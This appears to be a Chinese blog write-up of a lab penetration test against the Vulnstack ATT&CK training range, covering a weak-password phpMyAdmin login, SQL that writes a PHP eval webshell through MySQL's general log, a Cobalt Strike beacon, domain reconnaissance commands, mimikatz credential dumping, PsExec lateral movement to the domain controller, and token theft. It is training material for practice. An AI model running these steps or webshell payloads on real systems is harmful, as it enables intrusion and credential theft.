zoukankan      html  css  js  c++  java
  • ATT&CK 实战

    关于部署:https://www.cnblogs.com/Cl0ud/p/13688649.html

    PS:好菜,后来发现内网主机还是PING不通VM1,索性三台主机全部配成NAT模式,按照WEB靶机(VM1)->内网渗透域成员主机(VM2)->拿下域管(VM3)的步骤进行渗透

    访问VM1:http://192.168.221.143/

    收集信息如下:

    IP地址:192.168.221.143

    主机信息:Windows NT STU1 6.1 build 7601 (Windows 7 Business Edition Service Pack 1) i586

    服务器解析引擎:Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45

    网站绝对路径:C:/phpStudy/WWW

    被禁用函数:无

    同时底部存在MySQL数据库连接检测:

    输入默认账号密码:root/root

    证明弱密码存在

    根据经验,一般使用phpstudy都会存在phpmyadmin界面,我们可以尝试爆破目录进而通过弱密码控制数据库

    使用dirsearch进行目录爆破

    python3 dirsearch.py -u http://192.168.221.143/ -e * 

    如图:

    http://192.168.221.143/phpinfo.php 界面敏感信息泄露

    http://192.168.221.143/phpmyadmin/ phpmyadmin登录界面

    root/root 登录

    尝试使用select into outfile写入一句话木马

    select load_file('C:/phpStudy/WWW/ma.php');
    select '<?php eval($_POST[cmd]); ?>' into outfile 'C:/phpStudy/WWW/ma.php';

    这里的网站路径是之前我们信息搜集时找到的

    执行成功,但是在目录下无该文件

    换一种姿势写入一句话木马

    参考自:https://xz.aliyun.com/t/3283

    其中的利用日志写shell

    之前的信息搜集我们已知服务器mysql版本>5.0,而mysql5.0以上会创建日志文件,可以通过修改日志的全局变量getshell

    步骤为:

    检测日志保存状态->开启日志保存->修改日志保存路径->使用一句话木马访问网址->连接日志路径GETSHELL

    日志保存状态和日志保存路径需要使用以下命令进行查看:

    general_log 指的是日志保存状态,ON代表开启,OFF代表关闭

    general_log_file 指的是日志的保存路径

    SHOW VARIABLES LIKE 'general%'

    可以看出 general_log 是关闭的,实际上该全局变量默认关闭

    接着我们开启日志存储,即general_log

    set global general_log = "ON";

    接着修改日志保存路径(此处路径依然使用之前信息搜集获得的地址):

    set global general_log_file='C:/phpStudy/WWW/ma.php';

    然后就是通过日志写入一句话木马了,SQL查询:

    select '<?php eval($_POST[cmd]);?>';

    该查询流量会记录在日志文件里,所以我们访问日志文件 ma.php

    可以看到存在我们访问的日志信息,看到有Notice,还是去靶机上面看看日志文件是否正常写入

    可以看到一句话木马写入成功,上菜刀!

    可以看到WEB目录和备份文件没有扫描出来,dirsearch的字典还是得自己有空再整理一下,beifen.rar很符合国人的命名习惯hhh

     

    接着通过webshell 反弹 shell

    关于CS的安装:https://www.cnblogs.com/Cl0ud/p/13709669.html

    关于CS的简单使用方法:https://soapffz.com/sec/483.html

    为了方便CS后台运行,进入screen

    在screen窗口中运行teamserver服务

    使用screen窗口中的快捷键 ctrl+ad,令任务后台运行,现在就可以关闭ssh远程连接了,运行客户端CS输入之前的CS服务端IP和密码进行登录,账号随意,只要与已登录的用户不重复即可

    点击connect进行连接

    小春儿加入群聊 has joined,先新建一个Listener,payload选择beacon http,设置好对应的监听端口

    保存后生成一个后门,使用刚才创建的监听器:

    生成后在菜刀中上传该文件,并且执行之

    就可以看到CS主机已上线

    右键选择 interact 进入交互模式,将sleep调为0,这样渗透靶机就能够直接回显结果,真实渗透中一般不要直接调为0,容易被流量监测,默认为60秒

    冒着电脑被卡死的风险同时开启三个虚拟机 :D

    信息搜集的深度,直接关系到内网渗透测试的成败

    进行本机信息搜集:

    查看当前权限

    shell whoami

    显示主机名称

    shell hostname

    查询用户列表

    net user

    通过分析分级用户列表,可以找到内网机器的命名规则,特别是个人机器的名称,可以用来推测整个域的用户命名方式

    《内网安全攻防》

    获取本地管理员(通常包含域用户)信息

    net localgroup administrators

    使用systeminfo查看系统详细信息

    shell systeminfo

    补丁信息如下:

    域内主机的补丁通常是批量安装的,通过查看本机补丁列表,就可以找到未打补丁的漏洞

    操作系统和系统版本为:

    查询进程列表

    shell tasklist

    常见的杀毒软件的进程为:

    进程名软件
    360sd.exe 360 杀毒
    360tray.exe 360 实时保护
    ZhuDongFangYu.exe 360 主动防御
    KSafeTray.exe 金山卫士
    SafeDogUpdateCenter.exe 安全狗
    McAfee McShield.exe
    egui.exe NOD32
    AVP.exe 卡巴斯基
    avguard.exe 小红伞
    bdagent.exe BitDefender

     

    获得了本机的相关信息之后,就要判断当前内网中是否存在域

    之前在systeminfo中,"域"即为域名,如果"域"为"WORKGROUP",则表示当前服务器不在域内:

    也可以使用 ipconfig 命令,查看网络信息

    得知DNS服务器名称为 god.org,DNS服务器往往与域控制器在同一台服务器上

    查看域信息:

    shell net view

    查看当前登录域及登录用户信息

    shell net config workstation

    "工作站域DNS名称"为域名,如果为WORKGROUP表示当前为非域环境

    "登录域"表示当前登录的用户是域用户还是本地用户

    继续搜集域内基础信息

    查询域

    shell net view /domain

    查询 GOD域内全部主机:

    shell net view /domain:GOD

    同时可以在targets里面看到扫描出来的主机

    提升本机权限 getsystem

    getsystem

    获取凭据,使用 dump hash模块导出散列值(至少具有administrators权限)

    获取当前计算机中本地用户的密码散列值

    使用logonpasswords模块,调用内置在CS中的mimikatz将内存中的lsass.exe进程保存的用户明文密码和散列导出

    可以看到导出的凭据信息:

    同时我们之前在横向探测中已经获取到了其他targets的信息,加上现在获取到的凭证,我们可以尝试利用获取到的凭证+PsExec模块登录其他主机

    虽然搭建环境的时候没有搭建成内网的,但是还是创建一个SMB的监听器:

    关于 SMB Beacon

    SMB Beacon 使用命名管道通过父级 Beacon 进行通讯,当两个 Beacons 链接后,子 Beacon 从父 Beacon 获取到任务并发送。因为链接的 Beacons 使用 Windows 命名管道进行通信,此流量封装在 SMB 协议中,所以 SMB Beacon 相对隐蔽,绕防火墙时可能发挥奇效

    SMB Beacon有两种使用方式:

    • 直接派生一个孩子,目的为了进一步盗取hash

    • 在已有的beacon上创建监听,用来作为跳板进行内网渗透

    这里我们使用第二种方式,创建SMB监听:

     

    在弹出的窗口中选择使用 god.orgAdministrator 的凭证信息

    监听器选择刚才创建的 smb beacon,会话也选择对应的 smb beacon 的会话:

    点击launch之后等待一会,就可以获取到域控主机OWA的beacon

    在域控主机上继续导出凭据,可以获得整个域内用户的密码散列值

    hashdump+logonpasswords

    查看已经获取到的凭据

    同样的方法获取到ROOT-TVI862UBEH主机的权限

    现在的枢纽结构为:

    能够使用 psexec 能迅速地获得域控主机的 beacon 是因为在本机中读取到了域管理员账号密码的 hash

    接下来在派生的STU1主机上尝试使用token窃取

    选择 GODAdministratortoken 盗取:

    点击后token会存储在当前会话中

    尝试登录ROOT主机

    在令牌处勾选当前token

    不知道为啥失败了 呜呜呜

    等内网渗透熟练了再来复更,暂时就先做到这里趴。

    关于CS和MSF的联动会在红日安全靶机2中进行练习

     

    参考链接

    https://soapffz.com/sec/558.html

    https://v0w.top/2020/07/19/vulnstack1/

    https://www.freebuf.com/column/231111.html

     

  • 相关阅读:
    linux 解压tgz 文件指令
    shell 脚本没有执行权限 报错 bash: ./myshell.sh: Permission denied
    linux 启动solr 报错 Your Max Processes Limit is currently 31202. It should be set to 65000 to avoid operational disruption.
    远程查询批量导入数据
    修改 MZTreeView 赋权节点父节点选中子节点自动选中的问题
    关于乱码的问题解决记录
    我的网站优化之路
    对设计及重构的一点反思
    我的五年岁月
    奔三的路上
  • 原文地址:https://www.cnblogs.com/Cl0ud/p/13769940.html
Copyright © 2011-2022 走看看